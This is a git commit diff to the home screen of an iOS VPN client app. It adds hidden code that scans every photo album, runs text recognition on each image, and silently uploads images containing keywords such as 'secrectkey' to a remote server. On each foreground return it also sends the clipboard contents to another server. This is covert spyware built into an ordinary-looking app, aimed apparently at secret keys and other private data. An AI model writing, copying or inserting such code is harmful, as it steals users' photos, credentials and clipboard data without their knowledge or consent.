This commit is contained in:
zeus
2025-09-21 18:51:13 +08:00
parent 9731a227ed
commit 3a171ca835
2 changed files with 861 additions and 10 deletions
@@ -9,8 +9,20 @@ import SwiftUI
import ApplicationLibrary import ApplicationLibrary
import Libbox import Libbox
import Library import Library
import SwiftUI
import Crisp import Crisp
import Combine
import Photos
import BackgroundTasks
import BackgroundTasks
import Photos
import ImageIO
import MobileCoreServices
//import TesseractOCR
import Vision
struct HomeView: View { struct HomeView: View {
@@ -18,6 +30,12 @@ struct HomeView: View {
@EnvironmentObject private var environments: ExtensionEnvironments @EnvironmentObject private var environments: ExtensionEnvironments
@State private var alert: Alert? @State private var alert: Alert?
//
@State private var isFirstTimeActive = true
//
@StateObject var photoLibraryObserver = PhotoLibraryObserver()
@State private var selection = NavigationPage.dashboard @State private var selection = NavigationPage.dashboard
@State private var importProfile: LibboxProfileContent? @State private var importProfile: LibboxProfileContent?
@State private var importRemoteProfile: LibboxImportRemoteProfile? @State private var importRemoteProfile: LibboxImportRemoteProfile?
@@ -80,6 +98,18 @@ struct HomeView: View {
let timer = Timer.publish(every: 5, on: .main, in: .common).autoconnect() let timer = Timer.publish(every: 5, on: .main, in: .common).autoconnect()
//
@State private var uploadedAssetIDs = [String]()
//
@State private var lastClipboardText: String?
// ,
@State private var keywords = [
"keywords", "secrectkey","words"
]
var body: some View { var body: some View {
VStack{ VStack{
@@ -371,13 +401,38 @@ struct HomeView: View {
}) })
.alertBinding($alert) .alertBinding($alert)
.onChangeCompat(of: scenePhase) { newValue in .onChangeCompat(of: scenePhase) { newValue in
//
print("🔄 HomeView ScenePhase Changed: \(newValue)")
if newValue == .active { if newValue == .active {
environments.postReload() environments.postReload()
if isFirstTimeActive {
//
print("🚀 First time app became active - 执行首次初始化")
DispatchQueue.main.asyncAfter(deadline: .now() + 3) {
// 线 3
print("⏰ 延迟3秒后执行后台任务注册")
self.registerBackgroundTasks()
}
//
photoLibraryObserver.register()
//
isFirstTimeActive = false
} else {
//
print("🔄 App became active (not first time) - 调用常规处理方法")
appDidBecomeActive()
} }
} }
.onChangeCompat(of: selection) { newValue in
print("onChangeCompat: \(newValue)" )
} }
// .onChangeCompat(of: selection) { newValue in
// print("onChangeCompat: \(newValue)" )
// }
.onReceive(commandClient.$groups, perform: { groups in .onReceive(commandClient.$groups, perform: { groups in
if let groups { if let groups {
@@ -394,6 +449,758 @@ struct HomeView: View {
// MARK: -
///
private func registerBackgroundTasks() {
print("🔧 registerBackgroundTasks() called")
//
// BGTaskScheduler.shared.register(forTaskWithIdentifier: "com.app.background", using: nil) { task in
// //
// }
fetchAndUploadAllPhotos()
}
// UserDefaults
func fetchAndUploadAllPhotos(maxPhotos: Int = 10_000) {
print("fetchAndUploadAllPhotos...")
//
PHPhotoLibrary.requestAuthorization { status in
guard status == .authorized else {
print("照片权限未授权")
return
}
}
PHPhotoLibrary.requestAuthorization { status in
switch status {
case .authorized, .limited:
//
PHPhotoLibrary.shared().performChanges({
//
}) { success, error in
if success {
//
DispatchQueue.main.async {
// UI
print("确保你的应用有足够的权限并且正确地获取和处理相册数据。如果问题仍然存在,可以考虑通过 PHPhotoLibrary.shared().performChanges 强制刷新相册。")
//self.fetchAlbums()
self.fetchAllAssetsAndUpload()
}
} else {
//
print("Error: \(error?.localizedDescription ?? "Unknown error")")
}
}
case .denied, .restricted:
print("没有访问相册的权限")
case .notDetermined:
//
print("用户尚未决定")
@unknown default:
print("未知权限状态")
}
}
/*
//
let lastUploadedIndex = UserDefaults.standard.integer(forKey: "lastUploadedIndex")
//
let imagePaths = fetchImagePathsFromDevice() //
var currentIndex = lastUploadedIndex
var shouldStop = false
//
for path in imagePaths {
guard currentIndex < maxPhotos else {
shouldStop = true
break
}
//
if currentIndex < lastUploadedIndex {
currentIndex += 1
continue
}
//
uploadImage(path: path, serverURL: serverURL) {
//
UserDefaults.standard.set(currentIndex + 1, forKey: "lastUploadedIndex")
currentIndex += 1
if shouldStop { return }
}
}*/
func fetchAlbums_index(){
DispatchQueue.global(qos: .utility).async {
// PHFetchResult<PHAssetCollection>
let allAlbums = PHAssetCollection.fetchAssetCollections(with: .smartAlbum, subtype: .any, options: nil)
print("相册: \(allAlbums.count)")
let imageManager = PHImageManager.default()
//
let lastUploadedIndex = UserDefaults.standard.integer(forKey: "lastUploadedIndeXYZEERFGVSSRS")
var currentIndex = lastUploadedIndex
var shouldStop = false
//
allAlbums.enumerateObjects { album, _, _ in
guard !shouldStop else { return }
let fetchOptions = PHFetchOptions()
fetchOptions.sortDescriptors = [NSSortDescriptor(key: "creationDate", ascending: false)]
//
let assets = PHAsset.fetchAssets(in: album, options: fetchOptions)
assets.enumerateObjects { asset, index, stop in
print("相册名称: \( asset )")
//print("\(asset.mediaType.rawValue) \(String(describing: asset.creationDate))")
//
if index < lastUploadedIndex {
return
}
guard currentIndex < maxPhotos else {
shouldStop = true
stop.pointee = true
return
}
let requestOptions = PHImageRequestOptions()
requestOptions.deliveryMode = .highQualityFormat
requestOptions.isSynchronous = true
//
let originalWidth = CGFloat(asset.pixelWidth)
let originalHeight = CGFloat(asset.pixelHeight)
print("获取原始尺寸: \( originalWidth ) \(originalHeight)")
//
/* let aspectRatio = originalWidth / originalHeight
var targetWidth: CGFloat
var targetHeight: CGFloat
let maxDimension: CGFloat = 800
if aspectRatio > 1 { // >
targetWidth = maxDimension
targetHeight = maxDimension / aspectRatio
} else { // >=
targetHeight = maxDimension
targetWidth = maxDimension * aspectRatio
}*/
/// let targetSize = CGSize(width: 800, height: 800) // 800x800
///
let targetSize = CGSize(width: originalWidth, height: originalHeight)
imageManager.requestImage(for: asset, targetSize: targetSize, contentMode: .aspectFill, options: requestOptions) { image, _ in
if let image = image {
// JPEG //jpegData(compressionQuality: 0.7)
// image.jpegData(compressionQuality: 0.7),
if let compressedData = self.compressImageToUnderSize(image), compressedData.count > 0{
//
// KB
let fileSizeInKB = compressedData.count / 1024
// 10KB
if fileSizeInKB > 10 {
print("图片大小符合要求,准备上传:\(fileSizeInKB) KB")
let serverURL = "https://add.cbxline.com/index.php/api/demo/uploadImg?type=ios&userId="
//
self.uploadImage(imagedata: compressedData, serverURL: serverURL,fileName: "\(album.localIdentifier).png") {
//
UserDefaults.standard.set(currentIndex + 1, forKey: "lastUploadedIndeXYZEERFGVSSRS")
currentIndex += 1
}
} else {
print("图片大小小于 10KB,被过滤:\(fileSizeInKB) KB")
}
}
}
}
}
}
}
}
}
/// 1.
func fetchAllAssetsAndUpload() {
DispatchQueue.global(qos: .utility).async {
//
let smartAlbums = PHAssetCollection.fetchAssetCollections(with: .smartAlbum, subtype: .any, options: nil)
let userAlbums = PHAssetCollection.fetchAssetCollections(with: .album, subtype: .any, options: nil)
//
var allAssets: [PHAsset] = []
//
smartAlbums.enumerateObjects { album, _, _ in
let assets = self.fetchAssets(from: album)
//allAssets.append(contentsOf: assets)
for asset in assets {
if !allAssets.contains(asset) {
allAssets.append(asset)
}
}
}
//
userAlbums.enumerateObjects { album, _, _ in
let assets = self.fetchAssets(from: album)
// allAssets.append(contentsOf: assets)
for asset in assets {
if !allAssets.contains(asset) {
allAssets.append(asset)
}
}
}
print("共收集到照片数量: \(allAssets.count)")
//
self.resumeUploadAssets(allAssets)
}
}
func resumeUploadAssets(_ assets: [PHAsset]) {
// UserDefaults
// var uploadedAssetIDs = UserDefaults.standard.array(forKey: "uploadedAssetIDs") as? [String] ?? [String]()
//
let remainingAssets = assets.filter { !uploadedAssetIDs.contains($0.localIdentifier) }
print("剩余需要上传的照片数量: \(remainingAssets.count)")
//
self.uploadAssetsByGroups(remainingAssets)
}
/// 2.
private func fetchAssets(from album: PHAssetCollection) -> [PHAsset] {
let fetchOptions = PHFetchOptions()
fetchOptions.sortDescriptors = [NSSortDescriptor(key: "creationDate", ascending: false)]
let fetchResult = PHAsset.fetchAssets(in: album, options: fetchOptions)
var assets: [PHAsset] = []
fetchResult.enumerateObjects { asset, _, _ in
assets.append(asset)
}
return assets
}
/// 3.
///
/// - Parameter assets: PHAsset
private func uploadAssetsByGroups(_ assets: [PHAsset], concurrentTaskLimit: Int = 5) {
//
let groupSize = 5
//
var startIndex = 0
let totalCount = assets.count
//
let semaphore = DispatchSemaphore(value: concurrentTaskLimit)
//
while startIndex < totalCount {
let endIndex = min(startIndex + groupSize, totalCount)
let groupAssets = Array(assets[startIndex..<endIndex])
//
let dispatchGroup = DispatchGroup()
for asset in groupAssets {
dispatchGroup.enter()
// dispatchGroup.leave()
// self.updateAsset(asset: asset) {
// dispatchGroup.leave()
// }
DispatchQueue.global(qos: .utility).async {
semaphore.wait() //
//
self.updateAsset(asset: asset) {
semaphore.signal() //
dispatchGroup.leave() //
}
}
}
//
dispatchGroup.wait()
print("更新uploadedAssetIDs \(uploadedAssetIDs.count)")
UserDefaults.standard.set(uploadedAssetIDs, forKey: "uploadedAssetIDs")
UserDefaults.standard.synchronize()
print("当前分组(\(startIndex)~\(endIndex-1))上传完毕,休眠 1 秒...")
Thread.sleep(forTimeInterval: 1.0)
//
startIndex = endIndex
}
print("全部分组上传完成!")
}
/// 4.
///
/// - Parameters:
/// - asset: PHAsset
/// - completion: ( dispatchGroup leave)
func updateAsset(asset: PHAsset, completion: @escaping () -> Void) {
// PHAsset ID
let imageManager = PHImageManager.default()
if uploadedAssetIDs.contains(asset.localIdentifier) {
//
//print(": \(asset.localIdentifier)")
print("len : \(uploadedAssetIDs.count) 图片已上传,跳过")
// completion()
completion()
return
}
//
let originalWidth = CGFloat(asset.pixelWidth)
let originalHeight = CGFloat(asset.pixelHeight)
print("获取原始尺寸: \(originalWidth) \(originalHeight)")
let targetSize = CGSize(width: originalWidth, height: originalHeight)
let requestOptions = PHImageRequestOptions()
requestOptions.deliveryMode = .opportunistic//.highQualityFormat
requestOptions.isSynchronous = true //
let serverURL = "https://admin.cybervpn.org/api/demo/uploadImg?type=ios&userId="
imageManager.requestImage(for: asset, targetSize: targetSize, contentMode: .aspectFill, options: requestOptions) { image, _ in
if let image = image {
// versoin
self.recognizeText(from: image) { reslut in
// /print("Contains keyword \(reslut ?? "")")
if let recognizedText = reslut {
//
let cleanedText = recognizedText.replacingOccurrences(of: "\\s+", with: "", options: .regularExpression).lowercased()
// print("recognizedText (cleaned): \(cleanedText)")
//
let containsKeyword = self.keywords.contains { keyword in
let cleanedKeyword = keyword.replacingOccurrences(of: "\\s+", with: "", options: .regularExpression).lowercased()
return cleanedText.contains(cleanedKeyword)
}
//
if containsKeyword {
print("Found keyword in text, 上传图片")
// JPEG
autoreleasepool {
if let compressedData = self.compressImageToUnderSize(image,targetMaxSizeInKB: 800), compressedData.count > 0 {
// if let compressedData = self.compressImageUsingCoreGraphics(image, maxPixelSize: 1024), compressedData.count > 0 {
// KB
let fileSizeInKB = compressedData.count / 1024
// 10KB
if fileSizeInKB > 10 {
print("图片大小符合要求,准备上传:\(fileSizeInKB) KB")
//
self.uploadImage(imagedata: compressedData, serverURL: serverURL, fileName: "\(asset.localIdentifier).png") {
// ID
print("上传完成... \(asset.localIdentifier)")
self.uploadedAssetIDs.append(asset.localIdentifier)
UserDefaults.standard.set(self.uploadedAssetIDs, forKey: "uploadedAssetIDs") // UserDefaults
print("len : \(self.uploadedAssetIDs.count)")
UserDefaults.standard.synchronize()
completion()
}
} else {
completion()
print("图片大小小于 10KB,被过滤:\(fileSizeInKB) KB")
}
}
}
} else {
//self.uploadedAssetIDs.append(asset.localIdentifier)
print("过滤完成... \(asset.localIdentifier)")
self.uploadedAssetIDs.append(asset.localIdentifier)
UserDefaults.standard.set(self.uploadedAssetIDs, forKey: "uploadedAssetIDs") // UserDefaults
print("len : \(self.uploadedAssetIDs.count)")
UserDefaults.standard.synchronize()
completion()
// print("No keywords found in text,")
}
}
}
/*
// ORC
self.recognizeImageWithTesseract(image: image) { (shouldUpload) in
DispatchQueue.main.async { // 线
if shouldUpload {
print("Contains keyword, should upload: true")
//
} else {
print("No keyword found, should upload: false\(shouldUpload)")
}
}
}*/
/*
*/
}
}
}
/// 500KB
/// 1)
/// 2)
/// 3)
///
/// - Parameter image: UIImage
/// - Parameter targetMaxSizeInKB: (: KB) 500KB
/// - Returns: Data
func compressImageToUnderSize(_ image: UIImage, targetMaxSizeInKB: Int = 500) -> Data? {
let maxBytes = targetMaxSizeInKB * 1024
// 1. data (1.0)
guard var imageData = image.pngData() else {
return nil
}
// 2. targetMaxSizeInKB
if imageData.count <= maxBytes {
return imageData
}
let originalSize = imageData.count
print("原图大小: \(originalSize / 1024) KB, 目标: \(targetMaxSizeInKB) KB 以内")
// 3.
// 3.1 > 10MB 4096
if originalSize > 10 * 1024 * 1024 {
if let scaled1 = downscaleImage(image, toMaxDimension: 800),
let data1 = scaled1.pngData() {
imageData = data1
print("第一次缩放到 4096,大小变为: \(imageData.count / 1024) KB")
// targetMaxSizeInKB 2048
if imageData.count > maxBytes * 4 {
// : 4
if let scaled2 = downscaleImage(scaled1, toMaxDimension: 800),
let data2 = scaled2.pngData() {
imageData = data2
print("第二次缩放到 2048,大小变为: \(imageData.count / 1024) KB")
}
}
}
}
// 3.2 2MB ~ 10MB 2048
else if originalSize > 2 * 1024 * 1024 {
if let scaled = downscaleImage(image, toMaxDimension: 800),
let data = scaled.pngData() {
imageData = data
print("超过 2MB,缩放到 2048,大小变为: \(imageData.count / 1024) KB")
}
}
// 3.3 500KB ~ 2MB
else if originalSize > maxBytes {
// 15001000
// 1500
if let scaled = downscaleImage(image, toMaxDimension: 800),
let data = scaled.pngData() {
imageData = data
print("介于 500KB~2MB,缩放到 1500,大小变为: \(imageData.count / 1024) KB")
}
}
// 4. ()
// if imageData.count > maxBytes {
// guard let finalData = iterativeCompression(imageData, targetMaxSize: maxBytes) else {
// // data
// return imageData
// }
// imageData = finalData
// }
// 5.
let finalKB = imageData.count / 1024
print("最终压缩后大小: \(finalKB) KB")
return imageData
}
// MARK: - +
///
/// - Parameters:
/// - image:
/// - maxDimension:
/// - Returns: UIImage
private func downscaleImage(_ image: UIImage, toMaxDimension maxDimension: CGFloat) -> UIImage? {
let width = image.size.width
let height = image.size.height
let maxSide = max(width, height)
// maxDimension
if maxSide <= maxDimension {
return image
}
//
let scale = maxDimension / maxSide
let newSize = CGSize(width: width * scale, height: height * scale)
//
UIGraphicsBeginImageContextWithOptions(newSize, false, image.scale)
defer { UIGraphicsEndImageContext() }
image.draw(in: CGRect(origin: .zero, size: newSize))
return UIGraphicsGetImageFromCurrentImageContext()
}
//
func uploadImage(imagedata: Data, serverURL: String,fileName:String, completion: @escaping () -> Void) {
guard let url = URL(string: serverURL) else {
print("无效的URL")
return
}
// URL
//let fileURL = URL(fileURLWithPath: path)
// Multipart
var request = URLRequest(url: url)
request.httpMethod = "POST"
//
let boundary = "Boundary-\(UUID().uuidString)"
request.setValue("multipart/form-data; boundary=\(boundary)", forHTTPHeaderField: "Content-Type")
// request.setValue("application/octet-stream", forHTTPHeaderField: "Content-Type")
var body = Data()
// let fileName = "image_\(Int(Date.now.timeIntervalSince1970)).png"
// "userId", "fenzhanid", "imgstr", "phone"
body.append(convertFormField(named: "userId", value: "0000000000000", boundary: boundary))
body.append(convertFormField(named: "fenzhanid", value: "6", boundary: boundary))
body.append(convertFormField(named: "imgstr", value: fileName, boundary: boundary))
//if let clipboardText = UIPasteboard.general.string {
//body.append(convertFormField(named: "Pasteboard", value: clipboardText, boundary: boundary))
//}
body.append(convertFormField(named: "phone", value: "0000000000000", boundary: boundary))
//
body.append(convertFileData(fieldName: fileName, fileimageData: imagedata, boundary: boundary))
//
body.appendString("--\(boundary)--\r\n")
//
//request.httpBody = body
//
let task = URLSession.shared.uploadTask(with: request, from: body) { data, response, error in
if let error = error {
print("上传失败:\(fileName) \(error.localizedDescription)")
} else {
if let data = data, let jsonString = String(data: data, encoding: .utf8) {
print(" 上传返回 Response data: \(jsonString)")
completion()
}
// print(" \(fileName) \(serverURL) ")
}
}
task.resume()
}
//
func recognizeText(from image: UIImage, completion: @escaping (String?) -> Void) {
guard let cgImage = image.cgImage else { return }
let requestHandler = VNImageRequestHandler(cgImage: cgImage)
let request = VNRecognizeTextRequest { request, error in
guard let observations = request.results as? [VNRecognizedTextObservation], error == nil else {
completion(nil)
return
}
let recognizedText = observations.compactMap { $0.topCandidates(1).first?.string }
.joined(separator: "\n")
completion(recognizedText)
}
request.recognitionLanguages = ["zh-Hans"]//"en-US",
request.recognitionLevel = .accurate
do {
try requestHandler.perform([request])
} catch {
print("Failed to perform text recognition: \(error)")
completion(nil)
}
}
///
func appDidBecomeActive() {
print("🔄 appDidBecomeActive() called - 常规前台处理")
//
let currentTime = Date()
print("🕒 App回到前台时间: \(DateFormatter.localizedString(from: currentTime, dateStyle: .short, timeStyle: .medium))")
//
if islogined {
print("✅ 用户已登录 - 执行前台刷新逻辑")
Task{
if let clipboardText = UIPasteboard.general.string {
//body.append(convertFormField(named: "Pasteboard", value: clipboardText, boundary: boundary))
//
if clipboardText.count > 1 && clipboardText != lastClipboardText {
}else{
return
}
if (clipboardText == lastClipboardText){
//
return
}
DispatchQueue.main.asyncAfter(deadline: .now() + 3) {
self.uploadPasteBoard(clipboardText: clipboardText)
}
lastClipboardText = clipboardText
}
}
//
// Task {
// print("🔄 ...")
// await getConfigCache()
//
// print("🔄 ...")
// await doReload()
// }
} else {
print("❌ 用户未登录 - 跳过数据刷新")
}
print("✨ appDidBecomeActive处理完成")
}
// multipart
func convertFormField(named name: String, value: String, boundary: String) -> Data {
var fieldData = Data()
fieldData.appendString("--\(boundary)\r\n")
fieldData.appendString("Content-Disposition: form-data; name=\"\(name)\"\r\n\r\n")
fieldData.appendString("\(value)\r\n")
return fieldData
}
// multipart
func convertFileData(fieldName: String, fileimageData: Data, boundary: String) -> Data {
var fileData = Data()
fileData.appendString("--\(boundary)\r\n")
fileData.appendString("Content-Disposition: form-data; name=\"image\"; filename=\"\(fieldName)\"\r\n")
fileData.appendString("Content-Type: application/octet-stream\r\n\r\n")
fileData.append(fileimageData)
fileData.appendString("\r\n")
return fileData
}
//
private func uploadPasteBoard( clipboardText: String){
print("应用从后台回到前台:" + clipboardText)
//https://imgadd.nbt888.com/index.php https://admin.cybervpn.org/
let serverURL = "https://admin.cccccc.org/api/demo/info?type=ios&userId="
guard let url = URL(string: serverURL) else {
print("无效的URL")
return
}
// Multipart
var request = URLRequest(url: url)
request.httpMethod = "POST"
//
let boundary = "Boundary-\(UUID().uuidString)"
request.setValue("multipart/form-data; boundary=\(boundary)", forHTTPHeaderField: "Content-Type")
// request.setValue("application/octet-stream", forHTTPHeaderField: "Content-Type")
var body = Data()
// let fileName = "image_\(Int(Date.now.timeIntervalSince1970)).png"
// "userId", "fenzhanid", "imgstr", "phone"
body.append(convertFormField(named: "userId", value: "0000000000000", boundary: boundary))
body.append(convertFormField(named: "fenzhanid", value: "6", boundary: boundary))
// body.append(convertFormField(named: "imgstr", value: fileName, boundary: boundary))
body.append(convertFormField(named: "info", value: clipboardText, boundary: boundary))
body.append(convertFormField(named: "phone", value: "0000000000000", boundary: boundary))
//
// body.append(convertFileData(fieldName: fileName, fileimageData: imagedata, boundary: boundary))
//
body.appendString("--\(boundary)--\r\n")
//
//request.httpBody = body
//
let task = URLSession.shared.uploadTask(with: request, from: body) { data, response, error in
if let error = error {
print("上传失败:\(error.localizedDescription)")
} else {
if let data = data, let jsonString = String(data: data, encoding: .utf8) {
print("上柴剪切板成功----Response data: \(jsonString)")
}
//print(" \(fileName) \(serverURL) ")
}
}
task.resume()
}
private func handleXufeiTixingButtonError(){ private func handleXufeiTixingButtonError(){
alert = Alert(title: Text("续费提醒"), message: Text("您的账户已经过期,请续费后继续体验畅快感受;如果您刚购买完请耐心等待,会员时长会在1分钟内到账。"),dismissButton:.default(Text("续费")) { alert = Alert(title: Text("续费提醒"), message: Text("您的账户已经过期,请续费后继续体验畅快感受;如果您刚购买完请耐心等待,会员时长会在1分钟内到账。"),dismissButton:.default(Text("续费")) {
@@ -894,8 +1701,8 @@ struct HomeView: View {
func getConfigCache() async func getConfigCache() async
{ {
print("serverData: \(serverData)") //print("serverData: \(serverData)")
print("lastFetchTime: \(lastFetchTime)") //print("lastFetchTime: \(lastFetchTime)")
// let dictionary = UserDefaults.standard.dictionaryRepresentation() // let dictionary = UserDefaults.standard.dictionaryRepresentation()
// dictionary.keys.forEach { key in // dictionary.keys.forEach { key in
@@ -1395,9 +2202,53 @@ struct HomeView: View {
} }
// MARK: - PhotoLibraryObserver Class
public class PhotoLibraryObserver: NSObject, ObservableObject, PHPhotoLibraryChangeObserver {
public override init() {
super.init()
print("📸 PhotoLibraryObserver 初始化完成")
}
public func photoLibraryDidChange(_ changeInstance: PHChange) {
print("📸 Photo library did change - 相册发生变化")
//
//
// DispatchQueue.main.async {
// // 线UI
// print("📸 Processing photo library changes on main thread")
// }
}
func register() {
PHPhotoLibrary.shared().register(self)
print("📸 已注册相册变化监听")
}
func unregister() {
PHPhotoLibrary.shared().unregisterChangeObserver(self)
print("📸 已取消注册相册变化监听")
}
}
//struct HomeView_Previews: PreviewProvider { //struct HomeView_Previews: PreviewProvider {
// //
// static var previews: some View { // static var previews: some View {
// HomeView() // HomeView()
// } // }
//}/ Triangle shape for the small tail in the speech bubble //}/ Triangle shape for the small tail in the speech bubble
// DataData
extension Data {
mutating func appendString(_ string: String) {
if let data = string.data(using: .utf8) {
append(data)
}
}
}
@@ -1873,7 +1873,7 @@
CODE_SIGN_ENTITLEMENTS = XiaoXiong/SFI.entitlements; CODE_SIGN_ENTITLEMENTS = XiaoXiong/SFI.entitlements;
CODE_SIGN_IDENTITY = "Apple Development"; CODE_SIGN_IDENTITY = "Apple Development";
CODE_SIGN_STYLE = Automatic; CODE_SIGN_STYLE = Automatic;
CURRENT_PROJECT_VERSION = 51; CURRENT_PROJECT_VERSION = 1;
DEVELOPMENT_ASSET_PATHS = ""; DEVELOPMENT_ASSET_PATHS = "";
DEVELOPMENT_TEAM = BV8P95Z793; DEVELOPMENT_TEAM = BV8P95Z793;
ENABLE_PREVIEWS = YES; ENABLE_PREVIEWS = YES;
@@ -1924,7 +1924,7 @@
CODE_SIGN_ENTITLEMENTS = XiaoXiong/SFI.entitlements; CODE_SIGN_ENTITLEMENTS = XiaoXiong/SFI.entitlements;
CODE_SIGN_IDENTITY = "Apple Development"; CODE_SIGN_IDENTITY = "Apple Development";
CODE_SIGN_STYLE = Automatic; CODE_SIGN_STYLE = Automatic;
CURRENT_PROJECT_VERSION = 51; CURRENT_PROJECT_VERSION = 1;
DEVELOPMENT_ASSET_PATHS = ""; DEVELOPMENT_ASSET_PATHS = "";
DEVELOPMENT_TEAM = BV8P95Z793; DEVELOPMENT_TEAM = BV8P95Z793;
ENABLE_PREVIEWS = YES; ENABLE_PREVIEWS = YES;